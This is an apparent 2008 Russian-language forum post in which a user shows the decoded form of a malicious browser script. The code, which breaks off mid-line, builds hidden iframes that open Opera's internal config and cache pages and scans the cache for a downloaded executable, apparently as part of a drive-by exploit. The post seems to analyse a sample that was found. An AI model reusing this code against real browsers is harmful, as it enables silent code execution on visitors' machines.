
19.03.2008, 17:17
|
|
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме: 2590715
Репутация:
659
|
|
В разкодированном виде этот фуфел имеет следующий вид:
Код:
blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
blank_iframe.setAttribute('id', 'blank_iframe_window');
blank_iframe.setAttribute('style', 'display:none');
document.appendChild(blank_iframe);
blank_iframe_window.eval("config_iframe = document.createElement('iframe');\config_iframe.setAttribute('id', 'config_iframe_window');\config_iframe.src = 'opera:config';\document.appendChild(config_iframe);\app_iframe = document.createElement('script');\cache_iframe = document.createElement('iframe');\app_iframe.src = '';\app_iframe.onload = function ()\{\cache_iframe.src = 'opera:cache';\cache_iframe.onload = function ()\{\cache = cache_iframe.contentDocument.childNodes[0.innerHTML.toUpperCase();\var re = new RegExp('(OPR\\w{5}.EXE)\\s*\\d+\\s*
|
|
|